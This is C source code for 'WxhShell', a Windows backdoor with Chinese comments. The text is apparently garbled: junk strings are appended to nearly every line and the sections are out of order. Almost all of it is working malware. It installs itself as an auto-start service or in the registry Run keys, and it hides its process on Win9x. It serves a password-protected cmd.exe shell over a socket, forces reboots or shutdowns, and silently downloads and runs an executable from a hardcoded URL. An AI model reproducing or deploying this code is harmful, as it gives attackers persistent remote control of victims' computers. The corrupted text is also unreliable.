    closesocket(wsh); WwUHHm<v  
    ExitThread(0); ,o}CBB! k  
    } dV /Es  
    break; 2SlI5+u  
    } /x\~ 5cC  
  // 获取shell <`NtTG  
  case 's': { '=J|IN7WT  
    CmdShell(wsh); &ViK9  
    closesocket(wsh); V7B%o:FZo  
    ExitThread(0); cH707?p/I  
    break; t ;fJ`.  
  } 0qm CIcg  
  // 退出 =h.` ey  
  case 'x': { yh'*eli  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kIRjoKf<F  
    CloseIt(wsh); H|/"'t OZ  
    break; OHv9|&Tpl  
    } bD?gwhAKA  
  // 离开 8Nx fYA  
  case 'q': { @~FJlG(n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ""IPaNHQ  
    closesocket(wsh); X.ZG-TC  
    WSACleanup(); L]l?_#*x  
    exit(1); C8=rsh  
    break; /JIVp_-p  
        } 7^1K4%IPl  
  } =%|f-x  
  } t{`uN  
|W*2L] &  
  // 提示信息 g[;&_gL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yM7FR);  
} V7vojm4 O  
  } uWi pjxS  
Q |hBGH9:B  
  return; U !%IC7@  
} {mLv?"M]  
\w-3Spk*  
// shell模块句柄 `%~f5<  
int CmdShell(SOCKET sock) rddn"~lm1  
{ 3TN'1D ei  
STARTUPINFO si; &a6-+r  
ZeroMemory(&si,sizeof(si)); e}s,WC2-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y^D3}ds  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3f:]*U+O  
PROCESS_INFORMATION ProcessInfo; lq?N>~PG  
char cmdline[]="cmd"; nN>Uh T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u3DFgl3-7  
  return 0; dvglh?7d  
} BWr!K5w>i  
DLO#_t^v.  
// 自身启动模式 -L2?Tap  
int StartFromService(void) H~:g =Zw  
{ 9e&*+ +vf  
typedef struct xscR Bx  
{ S<5.}cR  
  DWORD ExitStatus; gL1r"&^L  
  DWORD PebBaseAddress; )P|/<>z  
  DWORD AffinityMask; 6!){-IV  
  DWORD BasePriority; Y"dTm;&  
  ULONG UniqueProcessId; [7[$P.MS{  
  ULONG InheritedFromUniqueProcessId; r%LG>c`^  
}   PROCESS_BASIC_INFORMATION; X*e:MRw[  
:4pO/I ~  
PROCNTQSIP NtQueryInformationProcess; !H @nAz  
s yb$%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5!6}g<z&L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UYpln[S  
y;hco  
  HANDLE             hProcess; 7K!n'dAi6  
  PROCESS_BASIC_INFORMATION pbi; _b &Aa%  
@d|]BqQ4jh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Nt[&rO3s  
  if(NULL == hInst ) return 0; + Cq&~<B  
5=!aq\ 5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w h^I|D?"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3>z+3!I z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U"Z %_[*  
l_(4CimOZ  
  if (!NtQueryInformationProcess) return 0; ]O~/k~f  
h5))D!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |^GN<y^cn  
  if(!hProcess) return 0; CS"p3$7,  
=gSACDTc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; eh3CVgH91;  
dw7h@9\ y  
  CloseHandle(hProcess); 9(BB>o54r  
MO79FNH2\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `=8G?3  
if(hProcess==NULL) return 0; &oDu$%dkT  
3N{ ZX{}  
HMODULE hMod; lpefOnO[  
char procName[255]; bvo }b-]E  
unsigned long cbNeeded; T9gQq 7(l  
H3S u'3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8SMa5a{  
e#4 iue7U  
  CloseHandle(hProcess); ?^: xNRE$j  
f&Meiu+  
if(strstr(procName,"services")) return 1; // 以服务启动 iS28p  
ivi&;  
  return 0; // 注册表启动 {7FD-Q[tS  
} i(<do "Am<  
71Mk!E=1  
// 主模块 ;#?+i`9'q  
int StartWxhshell(LPSTR lpCmdLine) ]b@:?DX8  
{ h}P""  
  SOCKET wsl; FDRpK 5cw  
BOOL val=TRUE; $e![^I]`  
  int port=0; <' b%  
  struct sockaddr_in door; 6.GIUM%D  
D,'@b+B[  
  if(wscfg.ws_autoins) Install(); {\-IAuM  
&k {1N.  
port=atoi(lpCmdLine); A*hc w  
|Ok1E  
if(port<=0) port=wscfg.ws_port; }^B=f_Ag  
8I=migaxP  
  WSADATA data; .e%B'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y<-dd"\  
:ug j+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uCpk1d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C$$lJ=>  
  door.sin_family = AF_INET;  &+Pcu5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F>A&L8  
  door.sin_port = htons(port); KcX] g*wy  
NFcMh+qnK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {EGm6WSQ^  
closesocket(wsl); }x1p~N+;  
return 1; QK%6Ncv  
} O hcPlr  
$ OMGo`z  
  if(listen(wsl,2) == INVALID_SOCKET) { g4^df%)&  
closesocket(wsl); E`SFr  
return 1; 38T2IN  
} gyW##M@{  
  Wxhshell(wsl); O)!MWmr  
  WSACleanup(); &Q"Ox{~W  
9L'R;H?L  
return 0; } .cP  
+9mnxU>  
} \f_YJit  
G6(U\VFqO  
// 以NT服务方式启动 %Ot^G%34  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DKfw8"L]  
{ g2WDa'{L  
DWORD   status = 0; V{[vIt*  
  DWORD   specificError = 0xfffffff; yA+:\%y$  
xA9{o+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6A]Ia4PL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Svo gvn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GJY7vS^#  
  serviceStatus.dwWin32ExitCode     = 0; nx >PZb  
  serviceStatus.dwServiceSpecificExitCode = 0; "[(I*  
  serviceStatus.dwCheckPoint       = 0; 5/v@VUzH  
  serviceStatus.dwWaitHint       = 0; fr%}|7  
KN;b+`x;M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ncu\;K\N  
  if (hServiceStatusHandle==0) return; PZRm.vC)k  
L+PrV y  
status = GetLastError(); Q2)z1'Wv  
  if (status!=NO_ERROR) zF2GW  
{ 4#Fz!Km  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8qfg=mu+ %  
    serviceStatus.dwCheckPoint       = 0; [*O#6Xu  
    serviceStatus.dwWaitHint       = 0; j|&?BBa9  
    serviceStatus.dwWin32ExitCode     = status; !'No5  
    serviceStatus.dwServiceSpecificExitCode = specificError; VGY#ph%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XTD _q  
    return; 2!/_Xh  
  } ?3"bu$@8  
QUp()B1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2bS)|#v<_t  
  serviceStatus.dwCheckPoint       = 0; 8]Xwj].^C  
  serviceStatus.dwWaitHint       = 0; n_%JXm#\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y_$=Pu6H  
} Eoug/we  
XX5 ):1  
// 处理NT服务事件,比如:启动、停止 7CzZHkTg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kEtYuf^  
{ ?]081l7cd  
switch(fdwControl)  '._8  
{ #_}lF<k  
case SERVICE_CONTROL_STOP: ,>n 4 `A  
  serviceStatus.dwWin32ExitCode = 0; -Rhxib|<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xQC.ap  
  serviceStatus.dwCheckPoint   = 0; 2jf-vWV_  
  serviceStatus.dwWaitHint     = 0; 7'_zJI^  
  { AA9OElCa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .9WJ/RKZ\D  
  } }'dnL  
  return; b+\jFGC%6=  
case SERVICE_CONTROL_PAUSE: ,8g~,tMr+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t$8f:*6(*  
  break; 3ryIXC\v  
case SERVICE_CONTROL_CONTINUE: :cop0;X:Wm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m,v"N%k,  
  break; '|<+QAc  
case SERVICE_CONTROL_INTERROGATE: *TA${$K  
  break; G8@({EY  
}; ehI*cf({  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b7{)B?n  
} eMVfv=&L<3  
.e5GJAW~9  
// 标准应用程序主函数 1`2n<qo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A5tY4?|  
{ VcT(n7  
EXg\a#4['  
// 获取操作系统版本 _CP e  
OsIsNt=GetOsVer(); m1=3@>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y4}!9x  
`f}c 1  
  // 从命令行安装 'Zf_/ y  
  if(strpbrk(lpCmdLine,"iI")) Install(); /yyed{q  
v I@Wuu:  
  // 下载执行文件 ~Rk%M$E9  
if(wscfg.ws_downexe) { H^p ?t=Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zWgNDYT~  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~;,]/'O  
} s d>&6 R^  
7_d gQI3y  
if(!OsIsNt) { TS)p2#  
// 如果时win9x,隐藏进程并且设置为注册表启动 :#"gQ^YNp  
HideProc(); CN\SxK`,  
StartWxhshell(lpCmdLine); @P6K`'.0  
} C 7YZ;{t  
else Z&@X4X"q  
  if(StartFromService()) 0tm%Kd  
  // 以服务方式启动 +?[TH?2c+  
  StartServiceCtrlDispatcher(DispatchTable); B%Dy;zdWd/  
else \CM(  
  // 普通方式启动 tfvX0J  
  StartWxhshell(lpCmdLine); V"*|`z)  
41mg:xW(J  
return 0; .JZoZ.FAb  
} s<H0ka@  
sAfSI<L_  
@a)@1:=Rm  
"X g@X5BG  
=========================================== 2I(0EBW  
R{\vOw:*  
"2}04b|"  
E:T<mI?d  
9 bYoWw  
>,Zjlkh3  
" ?ah-x""Y  
cBBc^SR  
#include <stdio.h> R+#|<e5@%o  
#include <string.h> "'p:M,:  
#include <windows.h> !>Db  
#include <winsock2.h> wo$9$~(  
#include <winsvc.h> n'v[[bmu  
#include <urlmon.h> @zB{Ig  
Y[i>  
#pragma comment (lib, "Ws2_32.lib") uDay||7^g  
#pragma comment (lib, "urlmon.lib") YH&`+ +  
IUAx*R  
#define MAX_USER   100 // 最大客户端连接数 j1*'yvGM  
#define BUF_SOCK   200 // sock buffer @bOhnd#W  
#define KEY_BUFF   255 // 输入 buffer Oj\lg2Ck  
iUFS1SN \  
#define REBOOT     0   // 重启 L TZ3r/  
#define SHUTDOWN   1   // 关机 fQ=Yf?b  
lPSyFb"  
#define DEF_PORT   5000 // 监听端口 <w` R ;  
)~v`dwKj;  
#define REG_LEN     16   // 注册表键长度 n@XI$>B  
#define SVC_LEN     80   // NT服务名长度 wUW^ O  
VUxuX5B3M  
// 从dll定义API S3EY9:^ C  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F$ShhZgi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "}!|V)K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LdwWB `L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ST5L O#5  
U BzX%:A  
// wxhshell配置信息 f 5"1WtB  
struct WSCFG { ^=.R#zrc  
  int ws_port;         // 监听端口 R2vT\ 6xv  
  char ws_passstr[REG_LEN]; // 口令 U<gM gA  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,Md8A`7x~  
  char ws_regname[REG_LEN]; // 注册表键名 &l"/G%W  
  char ws_svcname[REG_LEN]; // 服务名 V zuW]"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rn $a)^!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 njtz,qt_;G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O;z:?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DDQ}&`s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3}(6z"r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ok2KTsVl  
.A<G$ db ?  
}; c.dk4v%Y5  
3u#bx1  
// default Wxhshell configuration 45. -P  
struct WSCFG wscfg={DEF_PORT, SK [1h3d  
    "xuhuanlingzhe", DXBc 7J  
    1, p.6C.2q~s]  
    "Wxhshell", =!)Ye:\Q  
    "Wxhshell", s!,m,l[P  
            "WxhShell Service", {,NGxqhE  
    "Wrsky Windows CmdShell Service", 6D|[3rXr  
    "Please Input Your Password: ", *o.f<OwOz  
  1, -{`8Av5)E%  
  "http://www.wrsky.com/wxhshell.exe", .2"-N5Z  
  "Wxhshell.exe" ( m/uj z  
    }; SW5V:|/  
"@^Pb$BLY  
// 消息定义模块 DmU,}]#:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0t*e#,y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X)oxNxZ[A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zU7co.G  
char *msg_ws_ext="\n\rExit."; 2[~|#0x  
char *msg_ws_end="\n\rQuit."; oC ?UGY~xL  
char *msg_ws_boot="\n\rReboot..."; @<kY,ox@~  
char *msg_ws_poff="\n\rShutdown..."; cq]JD6937  
char *msg_ws_down="\n\rSave to "; T5nBvSVv'  
~_Q~AOFM  
char *msg_ws_err="\n\rErr!"; QO2@K1Y  
char *msg_ws_ok="\n\rOK!"; +t*V7nW  
Drm#z05i[g  
char ExeFile[MAX_PATH]; `-t8ag 3  
int nUser = 0; PAng(tubl  
HANDLE handles[MAX_USER]; fg$#ZCi  
int OsIsNt; OQW%nF9~  
WC0z'N({W  
SERVICE_STATUS       serviceStatus; n*A?>NV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lXtsnQOOK  
r{ >Q{$Q  
// 函数声明 'Qdea$o  
int Install(void); .~$!BWP  
int Uninstall(void); |RjAp.pm  
int DownloadFile(char *sURL, SOCKET wsh); IiU\}<O  
int Boot(int flag); dG&^M ".(  
void HideProc(void); "C0?s7Y  
int GetOsVer(void); nuKcq!L  
int Wxhshell(SOCKET wsl); e5RF6roxO  
void TalkWithClient(void *cs); u9nJ;:  
int CmdShell(SOCKET sock); Su/8P[q_  
int StartFromService(void); 6ChFsteGFr  
int StartWxhshell(LPSTR lpCmdLine); "I3 #/~q  
R + ~b@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'C4cS[1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); clG@]<a`_  
{V,aCr  
// 数据结构和表定义 gY'-C  
SERVICE_TABLE_ENTRY DispatchTable[] = |v:oLgUdH  
{ lArKfs/   
{wscfg.ws_svcname, NTServiceMain}, Gv[s86AP,  
{NULL, NULL} ]p8 zT|bv  
}; InI>So%e|<  
[rkw k\m*  
// 自我安装 ?g\emhG  
int Install(void) d-3.7nJ:  
{  nU4to  
  char svExeFile[MAX_PATH]; Rk,'ujc  
  HKEY key; ]A ;.}1'  
  strcpy(svExeFile,ExeFile); O 1D|T"@  
 TZ63=m  
// 如果是win9x系统,修改注册表设为自启动 vgE -t  
if(!OsIsNt) { :8K}e]!c1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #f [}a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f8 BZkh  
  RegCloseKey(key); !&xci})7a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G6QD`ED  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z&cM8w:  
  RegCloseKey(key); 2X<%BFsE  
  return 0; T|8:_4/l  
    } lJ]]FuA-Q  
  } ]5K+W  
} &wAVO_s  
else { LSo*JO6  
^U5Qb"hz  
// 如果是NT以上系统,安装为系统服务 Uks%Mo9on  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N]eBmv$|  
if (schSCManager!=0) ;yajt\a  
{ 2}=@n*8*d  
  SC_HANDLE schService = CreateService MVnN0K4  
  ( CuD}Uo+u  
  schSCManager, 3dSb!q0&N  
  wscfg.ws_svcname, ; PncJe5x  
  wscfg.ws_svcdisp, ?JG^GD7D  
  SERVICE_ALL_ACCESS, %ufh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GGnlkp& E  
  SERVICE_AUTO_START, n$N$OFuO  
  SERVICE_ERROR_NORMAL, ^B0Qk:%P^N  
  svExeFile, O/|))H?C  
  NULL, T60pw  
  NULL, K-~gIlbQ`  
  NULL, `LNhamp  
  NULL, Fsm6gE`|n  
  NULL *L9v(Kc  
  ); P3`$4p?  
  if (schService!=0) aW*k,\:e  
  { 4e/!BGkAS  
  CloseServiceHandle(schService); 76"4Q!  
  CloseServiceHandle(schSCManager); &&m3E=K!^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [zBi*%5O  
  strcat(svExeFile,wscfg.ws_svcname); p J_+n:_{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8q%y(e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'AX5V-t  
  RegCloseKey(key); g9q}D-  
  return 0; 2mn AL#  
    } Nf^<pT [*  
  } Q&N#q53  
  CloseServiceHandle(schSCManager); .=9WY_@SZ  
} m0 As t<u  
} JLnv O  
vue^bn  
return 1; JC%&d1  
} DrKB;6  
h Fik>B#!  
// 自我卸载 ?!&%-R6*  
int Uninstall(void) ) PTvw>  
{ >xabn*Kq  
  HKEY key; -1Dq_!i  
7jIBE  
if(!OsIsNt) { 7M~sol[*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,#UZp\zZ*  
  RegDeleteValue(key,wscfg.ws_regname); Ac|\~w[\  
  RegCloseKey(key); t|eH'"N%o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o^vX\a?`u  
  RegDeleteValue(key,wscfg.ws_regname); #'q7 x  
  RegCloseKey(key); z,G_&5|f%  
  return 0; <M@-|K"Eb  
  } @]vY[O!&;  
} q50F!yHC-  
} IGcq*mR=  
else { [p9v#\G; [  
Q0Ft.b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *$g!/,  
if (schSCManager!=0) -p&u=  
{ @wgd 3BU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OQ&N]P2p  
  if (schService!=0) Ztg_='n  
  { lb. Q^TghU  
  if(DeleteService(schService)!=0) { 'ZW(Hjrd  
  CloseServiceHandle(schService); [&n[p?  
  CloseServiceHandle(schSCManager); X+aQ 7^"s  
  return 0; GYx0U8MJ[e  
  } &7f8\TG|  
  CloseServiceHandle(schService); RyJy%| \-S  
  } G n]qh(N>  
  CloseServiceHandle(schSCManager); JP5e=Z<  
} mkn1LzE|F  
} ;"Kgg:K>W  
:J`@@H  
return 1; cK+TE8ao  
} R J{$`d  
=Z  
// 从指定url下载文件 $] We|  
int DownloadFile(char *sURL, SOCKET wsh) |nZ^RCHog  
{ RW L0@\  
  HRESULT hr; P9bM+@5e  
char seps[]= "/"; m!/TJhiQ  
char *token; #[#evlr=  
char *file; ;7lON-@BI  
char myURL[MAX_PATH]; .J)TIc__|A  
char myFILE[MAX_PATH]; sllT1%?  
b&U1^{(  
strcpy(myURL,sURL); Af;Pl|Zh[  
  token=strtok(myURL,seps); J,yKO(}<C  
  while(token!=NULL) ^HSxE  
  { ep"[; $Eb  
    file=token; X_TjJmc  
  token=strtok(NULL,seps); X&pYLm72;  
  } dH^6K0J  
pbzFzLal  
GetCurrentDirectory(MAX_PATH,myFILE); K3?5bT_{  
strcat(myFILE, "\\"); kh W.  
strcat(myFILE, file); /| v.A\ :  
  send(wsh,myFILE,strlen(myFILE),0); {cm?Q\DT  
send(wsh,"...",3,0); ~T1W-ig4[*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); + Q-b}  
  if(hr==S_OK) %#x4wi  
return 0; OUv<a `0  
else k&dXK  
return 1; 1INX#qTZ  
$+*nb4  
} y&NqVR=   
Sa= tiOv  
// 系统电源模块 j<t3bM-G  
int Boot(int flag) Hf`i~6  
{ SyvoN, ;Q  
  HANDLE hToken; =?RI`}vw_H  
  TOKEN_PRIVILEGES tkp; FU3K?A B  
-tg|y  
  if(OsIsNt) { (;l@d|g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E3uu vQ#|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lMFR_g?r  
    tkp.PrivilegeCount = 1; y(COB6r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =w$&n%~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iq; | i!  
if(flag==REBOOT) { ]01`r/->\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tIuM9D{P  
  return 0;  Unk/uk  
} 'c35%? ]  
else { ],]Rv#`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cJ4My#w  
  return 0; o :d7IL  
} 7Jn%XxHq  
  } PIri|ZS  
  else { C`.YOkpj  
if(flag==REBOOT) { .vu7$~7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N*Aw-\Bk  
  return 0; A,~3oQV  
} 7Nq< o5  
else { %ih\|jR t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X7*F~LFr j  
  return 0; :U?g']`Z##  
} LqWiw24#  
} C>Ik ;  
S2$E`' J  
return 1; ]v ${k  
} :5k* kx#y  
=3bk=vy  
// win9x进程隐藏模块 n8,%<!F^  
void HideProc(void) HWjJ.;k}a  
{ 1w>[&#7  
S@qPf0dL<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); - nb U5o  
  if ( hKernel != NULL ) b<a3Ue%  
  { KXPCkNIN!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5{! fa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;As~TGiT  
    FreeLibrary(hKernel); eb_.@.a  
  } P y'BMk  
M^kaik  
return; ~>:JwTy  
} rc=E%Qv%?  
?_]Y8f  
// 获取操作系统版本 zdP?HJ=F  
int GetOsVer(void) nDrRK  
{  4!!|P  
  OSVERSIONINFO winfo; A;U c&G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c^|8qvS $  
  GetVersionEx(&winfo); r]e{~v/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1]} \h]*  
  return 1; |r@;ulO  
  else ]TrJ*~  
  return 0; xU\!UVQ/  
} ]@U?hD  
?wtKi#k'v#  
// 客户端句柄模块 48p3m) 5  
int Wxhshell(SOCKET wsl) +:Zwo+\kSN  
{ w hI4@#  
  SOCKET wsh; }w f8y  
  struct sockaddr_in client; 'M%iS4b{IM  
  DWORD myID; }-[l)<F:  
dO D(<  
  while(nUser<MAX_USER) xbiprhdv  
{ tN{0C/B9  
  int nSize=sizeof(client); H;=yR]E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @;EQ{d  
  if(wsh==INVALID_SOCKET) return 1; 3n2^;b/]  
VmQ^F| {  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RlfI]uCDM  
if(handles[nUser]==0) i%yKyfD  
  closesocket(wsh); cJSNV*<  
else m#h`iW  
  nUser++; +aL6$  
  } Qz`evvH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0+0 Y$;<  
ceg\lE:8  
  return 0; 55v=Ij?M  
} ]FR#ZvM>x  
B)k/]vz)*D  
// 关闭 socket }ll&EB  
void CloseIt(SOCKET wsh) i(A `'V8GY  
{ o=VZ7]  
closesocket(wsh); ['(qeS@5O  
nUser--; q4:zr   
ExitThread(0); X'd\b}Bm  
} s\'t=}0q  
X>dQK4!R  
// 客户端请求句柄 kU:Q&[/jzH  
void TalkWithClient(void *cs) #~Kno@  
{ s#~VN;-I  
D[T\_3 W  
  SOCKET wsh=(SOCKET)cs; .yDR2 sW  
  char pwd[SVC_LEN]; pDC`Fi  
  char cmd[KEY_BUFF]; /p-k'387  
char chr[1]; %5ov!nm7  
int i,j; *h?*RUQ  
N#J8 4i;ry  
  while (nUser < MAX_USER) { 6\h*SBI?(  
nJH'^rO!C  
if(wscfg.ws_passstr) { h6Vd<sV\tf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KYhL}C+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TPJuS)TU9  
  //ZeroMemory(pwd,KEY_BUFF); Kj"n Id)  
      i=0; y=GDuU%  
  while(i<SVC_LEN) { jxK `ShW=  
.Sm 8t$  
  // 设置超时 ~H ctXe'x  
  fd_set FdRead;  LWo)x  
  struct timeval TimeOut; dn5t7D^ x  
  FD_ZERO(&FdRead); 8yr-X!eF  
  FD_SET(wsh,&FdRead); [CnoMN  
  TimeOut.tv_sec=8; ]<},[s  
  TimeOut.tv_usec=0; SM}& @cJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2V @ pt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'mU\X!- 4<  
CJ;D&qo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `=TJw,q  
  pwd=chr[0]; UuJ gB)  
  if(chr[0]==0xd || chr[0]==0xa) { ,|O|gh$s  
  pwd=0; Ze`ms96j{  
  break; ?.I1"C,#VJ  
  } i .?l\  
  i++; 5t-(MY  
    } `yXHb  
yX\~ {%  
  // 如果是非法用户,关闭 socket r^d:Po  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !;PKx]/&  
} e<{Ani0  
&'5 j!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?cr^.LV|h^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^O5PcV3Eg  
-A8CW9|mk  
while(1) { :as2fO$?  
xqKj&RuLu  
  ZeroMemory(cmd,KEY_BUFF); ][Cg8  
g<4@5OQKu  
      // 自动支持客户端 telnet标准   Daf;; w  
  j=0; :jWQev"/  
  while(j<KEY_BUFF) { 'k$j^ |r>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /vPcg  
  cmd[j]=chr[0]; ^paM{'J\\)  
  if(chr[0]==0xa || chr[0]==0xd) { w#$Q?u ,G  
  cmd[j]=0; c(S66lp  
  break; n ^C"v6X  
  } OEgp!J  
  j++; >]8H@. \  
    } "M:0lUy  
,dk!hm u  
  // 下载文件 &p^8zEs  
  if(strstr(cmd,"http://")) { dxeLu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <bOi}  
  if(DownloadFile(cmd,wsh)) B}p{$g!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FAd4p9[Y  
  else |lf,3/*jDB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h}jE=T5Hc  
  } f+W %X  
  else { zH+a*R  
]PjJy/vkjj  
    switch(cmd[0]) { Tf?|*P  
  *5|q_K Pt  
  // 帮助 7^Q4?(A  
  case '?': { EAXbbcV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s:\FlQ0  
